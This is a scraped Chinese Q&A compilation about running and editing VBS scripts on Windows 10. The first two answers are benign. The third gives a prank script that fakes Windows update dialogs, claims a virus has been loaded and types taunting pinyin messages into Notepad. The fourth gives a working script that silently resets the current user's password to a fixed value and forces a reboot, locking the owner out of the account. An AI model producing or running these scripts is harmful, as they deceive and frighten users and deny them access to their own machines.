windows之家1.win10怎么运行VBS
其实是您保存的文件后缀不对，所以不能运行。
系统默认是不显示后缀名的。如果您没有开启显示后缀名，那么您新建一个文本文档后，应该后面没有.txt，这时候就算您重命名，添加了.vbs也没有，您其实更改的只是文件名，而不是后缀名，这个文件还是一个txt格式的文本。
所以您要么先开启显示文件后缀名（在资源管理器的选项中有相关开启的地方）
要么不要新建文本文档，而是直接打开系统的记事本软件，然后输入VBS代码，输好后，点击文件>；另存为，类型选择所有文件，文件名最后加上.vbs，后面保存。这要就保存为vbs格式的脚本文件了。
2.win7正常执行的vbs脚本在win10失败,请教如何修改
你出现的问题有可能是Win10的安全性提高了，有些脚本他不支持了。
建议加域直接手动加入，当你用脚本的时候，你肯定要写用户名和密码在脚本中，这很难保证脚本中的用户名和密码不被泄露。
后续如果要修改计算机名称，可以用林阳域内计算机扫描与管理系统 通过后台远程修改。
3.修改vbs代码
set ws=createobject("wscript.shell") sub sleep (s) wscript.sleep s * 1000 end sub sleep 1 ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装"，30,"Windows Xp",64 sleep 1 ws.popup "正在下载更新。
"&vbcrlf&""&vbcrlf&"稍候将提示您安装"，10,"Windows Xp",64 sleep 1 ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行"，15，"病毒"，64 sleep 1 ws.run "notepad",3 : wscript.sleep 2000 ws.sendkeys "^ " : wscript.sleep 1000 verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",") for each wind in verybat ws.sendkeys wind wscript.sleep 500 next。
4.求修改windows用户名和密码的VBS代码
Const strPassword = "doubi"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
set gj=createobject("wscript.shell")
gj.run"shutdown -f -t"'
Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next
转载请注明出处windows之家 » win10怎么改vbs代码